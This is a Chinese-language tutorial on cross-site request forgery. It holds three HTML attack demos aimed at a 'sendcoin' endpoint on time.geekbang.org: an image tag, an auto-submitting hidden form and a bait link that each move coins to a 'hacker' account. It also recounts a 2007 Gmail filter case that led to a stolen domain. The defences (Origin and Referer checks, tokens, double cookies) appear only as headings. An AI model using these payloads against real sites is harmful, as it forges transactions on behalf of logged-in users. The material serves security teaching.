CSRF攻击和防御

CSRF攻击

pPANWs1.png

CSRF 英文全称是 Cross-site request forgery,所以又称为“跨站请求伪造”,是指黑客引诱用户打开黑客的网站,在黑客的网站中,利用用户的登录状态发起的跨站请求。简单来讲,CSRF 攻击就是黑客利用了用户的登录状态,并通过第三方的站点来做一些坏事。

如下为一个简单的攻击流程。 1)假设用户打开了一个银行网站,并且登录了 2)登录成功后,会返回一个cookie给前端,浏览器将cookie保存下来 3)用户在没有登出银行网站的情况下,在当前浏览器又新打开多了一个选项卡,访问了一个危险的网站 4)这个网站有个危险的超链接,这个超链接指向了银行网站 5)用户点击这个超链接,由于这个超链接会自动携带上cookie,所以用户不知不觉在点击这个超链接的时候,还要一些请求是发到了银行网站那里去。

有漏洞的网页:

1
2
3
4
5
6
7
8
#同时支持POST和Get
#接口 
https://time.geekbang.org/sendcoin
#参数
##目标用户
user
##目标金额
number

发送GET请求

1
2
3
4
5
6
7
8
9
// 在黑客的页面诱导用户点击图片,发出一个get请求。
// 如果目标服务器足够傻,就能实施一次csrf攻击
<!DOCTYPE html>
<html>
  <body>
    <h1>黑客的站点:CSRF攻击演示</h1>
    <img src="https://time.geekbang.org/sendcoin?user=hacker&number=100">
  </body>
</html>

发送 POST 请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
// 在黑客的页面发出一个post请求。
// 如果目标服务器足够傻,就能实施一次csrf攻击
<!DOCTYPE html>
<html>
<body>
  <h1>黑客的站点:CSRF攻击演示</h1>
  <form id='hacker-form' action="https://time.geekbang.org/sendcoin" method=POST>
    <input type="hidden" name="user" value="hacker" />
    <input type="hidden" name="number" value="100" />
  </form>
  <script> document.getElementById('hacker-form').submit(); </script>
</body>
</html>

如果原网页是post请求,则通过表单直接进行CSRF攻击。

引诱用户点击链接

1
2
3
4
5
6
<div>
  <img width=150 src=http://images.xuejuzi.cn/1612/1_161230185104_1.jpg> </img> </div> <div>
  <a href="https://time.geekbang.org/sendcoin?user=hacker&number=100" taget="_blank">
    点击下载美女照片
  </a>
</div>

这种方式通常出现在论坛或恶意邮件上。黑客会采用很多方式去诱惑用户点击链接。

再来学习一个案例。

在 2007 年的某一天,David 无意间打开了 邮箱中的一份邮件,并点击了该邮件中的一个链接。过了几天,就发现他的域名被盗了。不过几经周折还是要回了他的域名,也弄清楚了域名之所以被盗,就是因为无意间点击的那个链接。

那么域名是怎么样被盗的呢?

pPAw1yj.png

  • 首先 David 发起登录邮箱请求,然后 Gmail 服务器返回一些登录状态给浏览器,这些信息包括了 Cookie、Session 等,这样在浏览器中,Gmail 邮箱就处于登录状态了。
  • 接着黑客通过各种手段引诱他去打开链接,比如hacker.com,然后在 hacker.com 页面中,黑客编写好了一个邮件过滤器,并通过 Gmail 提供的 HTTP 设置接口设置好了新的邮件过滤功能,该过滤器会将他所有的邮件都转发到黑客的邮箱中。
  • 最后的事情很简单了,因为有了 David 的邮件内容,所以黑客就可以去域名服务商那边重置David 域名账户的密码,重置好密码之后,就可以将其转出到黑客的账户了。

如何防止 CSRF 攻击

​ 了解了 CSRF 攻击的一些手段之后,我们再来看看 CSRF 攻击的一些“特征”,然后根据这些“特征”分析下如何防止 CSRF 攻击。下面是我总结的发起 CSRF 攻击的三个必要条件:

1、目标站点一定要有 CSRF 漏洞; 2、用户要登录过目标站点,并且在浏览器上保持有该站点的登录状态; 3、需要用户打开一个第三方站点,可以是黑客的站点,也可以是一些论坛。

满足以上三个条件之后,黑客就可以对用户进行 CSRF 攻击了。这里还需要额外注意一点,与 XSS 攻击不同,CSRF 攻击不会往页面注入恶意脚本,因此黑客是无法通过 CSRF 攻击来获取用户页面数据的;其最关键的一点是要能找到服务器的漏洞,所以说对于 CSRF 攻击我们主要的防护手段是提升服务器的安全性。

使用Origin Header确定来源域名

使用Referer Header确定来源域名

CSRF Token

双重Cookie验证

CSRF测试

继续详细学习资料:[ 前端前端安全系列(二):如何防止CSRF攻击?